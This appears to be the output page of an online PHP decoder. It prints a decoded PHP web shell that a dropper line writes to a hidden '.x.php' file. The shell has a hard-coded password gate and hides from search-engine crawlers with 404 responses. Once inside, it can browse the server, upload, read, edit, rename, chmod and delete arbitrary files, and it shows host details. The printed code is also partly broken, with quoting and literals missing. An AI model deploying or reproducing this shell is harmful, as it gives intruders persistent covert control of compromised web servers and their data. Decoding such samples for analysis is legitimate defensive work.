Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


=file_put_contents(".x.php",@session_start();
@set_time_limit(0);
error_reporting(0);
http_response_code(404);
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

$p_a_s_s_k_e_y = "GQxcpCNmqW";
if (isset($_POST['k']) && $_POST['k'] === $p_a_s_s_k_e_y) {
    $_SESSION['a_u_t_h'] = 1;
}
if (isset($_GET['x'])) {
    session_destroy();
    header('Location: ?');
    exit;
}
if (empty($_SESSION['a_u_t_h'])) {
    echo '<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body{background:#f0f0f0;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;font-family:sans-serif;}form{background:#fff;padding:20px;border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.2);}input[type=password]{padding:8px;border:1px solid #ccc;border-radius:3px;margin-right:5px;}input[type=submit]{padding:8px 15px;background:#007BFF;color:#fff;border:none;border-radius:3px;cursor:pointer;}input[type=submit]:hover{background:#0056b3;}</style></head><body><form method=POST><input type=password name=k autofocus placeholder="Pass"><input type=submit value=Go></form></body></html>';
    exit;
}
// ----- f21

if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}

echo '<!DOCTYPE HTML>
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<link href="https://privdayz.com/wp-content/themes/privdaysv1/hacker.css" rel="stylesheet">


<center>
<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: green;">
You see see you One day day</h1></a>
<BODY>

<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tr><td>';
echo "<tr><td><font color='white'>
<i class='fa fa-user'></i> <td>: <font color='lime'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
<i class='fa fa-desktop'></i> <td>: <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>
<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>".php_uname()."</font></tr></td></table>";

echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr align="center"><td align="center"><br>';

if(isset($_GET['path'])){
    $path = $_GET['path'];
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}


//upload
echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
    }else{
        echo '<script>alert("File Gagal Diupload !!")</script>';
    }
}

echo '</form></td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>files >> ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';

//Chmod
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
            }else{
                echo '<script>alert("Change Permission Gagal !!")</script>';
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
    }

//rename folder
    elseif($_GET['opt'] == 'btw'){
        $cwd = getcwd();
        echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
    }

//rename file
    elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
            }else{
                echo '<script>alert("Change Name Gagal !!")</script>';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
    }

//edit file
    elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
            }else{
                echo '<script>alert("Edit File Gagal !!")</script>';
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';

//delete dir
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
            }else{
                echo '<script>alert("Delete Dir Gagal !!")</script>>';
            }
        }

//delete file
        elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
            }else{
                echo '<script>alert("Delete File Gagal !!")</script>';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    $pa = getcwd();
    echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir ==  || $dir == '..') continue;
        echo "<tr>
<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
<td class=td_home><center>DIR</center></td>
<td class=td_home><center>";
        if(is_writable("$path/$dir")) echo '<font color="#57FF00">';
        elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

        echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
    }

    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
        if(is_writable("$path/$file")) echo '<font color="#57FF00">';
        elseif(!is_readable("$path/$file")) echo '<font color="#FF0004">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

        echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
<option value=\"chmod\">Chmod</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
    }

    echo '</table>
</div>';
}

function perms($file){
    $perms = fileperms($file);

    if (($perms & 0xC000) == 0xC000) {
// Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
// Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
// Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
// Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
// Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
        $info = 'p';
    } else {
// Unknown
        $info = 'u';
    }

// Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
        (($perms & 0x0800) ? 's' : 'x' ) :
        (($perms & 0x0800) ? 'S' : '-'));

// Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
        (($perms & 0x0400) ? 's' : 'x' ) :
        (($perms & 0x0400) ? 'S' : '-'));

// World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
        (($perms & 0x0200) ? 't' : 'x' ) :
        (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
</BODY>
</HTML>);echo "OK";


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